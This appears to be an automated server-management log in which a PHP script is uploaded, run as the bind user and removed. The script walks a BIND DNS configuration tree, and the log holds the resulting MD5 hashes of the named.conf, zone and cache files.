MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:57:08: Establishing a connection
2026-04-23 12:57:08: 

PUT: /tmp/pkp613583

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:57:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp613583; rm /tmp/pkp613583'

2026-04-23 12:57:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
